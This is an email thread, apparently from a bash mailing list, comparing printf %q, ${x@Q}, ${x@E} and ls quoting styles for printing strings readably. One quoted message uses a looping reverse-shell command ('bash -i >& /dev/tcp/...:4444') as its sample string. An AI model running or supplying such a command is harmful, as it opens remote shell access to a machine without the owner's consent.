Re: `printf %q` but more human readable

[Alex fxmbsw7 Ratchev]

well about ls, it only prints $' or " where needed, other strings like
'abc' it prints plainly

On Sun, Mar 14, 2021 at 3:09 PM Peng Yu <pengyu.ut@gmail.com> wrote:

> It is not a valid assumption to assume the input is in filename. Even
> it were a valid assumption, `ls --quoting-style=shell-escape` is still
> not robust.
>
> $ touch $'\001'; ls --quoting-style=shell-escape
> ''$'\001'
> $ printf '%q\n' $'\001'
> $'\001'
>
> On 3/14/21, Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com> wrote:
> > if your datas were filenames, you could have used ls
> > --quoting-style=shell-escape
> > it optionally only quotes em
> >
> > On Sun, Mar 14, 2021 at 2:54 PM Peng Yu <pengyu.ut@gmail.com> wrote:
> >
> >> > It's just different quoting styles, but I prefer the single-quoted
> >> > version too.
> >>
> >> It is not as simple as that. See below.
> >>
> >> > GNU /usr/bin/printf does this
> >> >
> >> > $ /bin/printf "$x"
> >> > while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
> >> > sleep 5; done &
> >> >
> >> > And for ${parameter@operator}
> >> >
> >> > $ echo "${x@Q}"
> >> > $'while true; do echo \'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1\' |
> >> > bash;\nsleep 5; done &'
> >>
> >> ${x@Q} is not the most human-readable. For example, the extra quote is
> >> not necessary in the following case. `printf %q` is even better in
> >> this case. I think a most human-readable solution for all cases can
> >> not avoiding testing the content of the string.
> >>
> >> $ x=a; echo "${x@Q}"
> >> 'a'
> >> $ printf %q a
> >> a
> >>
> >> > $ echo "${x@E}"
> >> > while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
> >> > sleep 5; done &
> >>
> >> ${x@Q} is not good either. It can not deal with non-print characters
> >> correctly.
> >>
> >> $ x=$'a\001'; echo "${x@E}"
> >> a
> >>
> >> >
> >> > (This confuses me since the manual stated that E produces $'' style
> >> > escaping and Q produces single quoted escaping when used for an
> >> > array...)
> >>
> >> The above examples should clarify your confusion. My question is about
> >> ALL cases not just about some special cases.
> >>
> >> --
> >> Regards,
> >> Peng
> >>
> >>
> >
>
>
> --
> Regards,
> Peng
>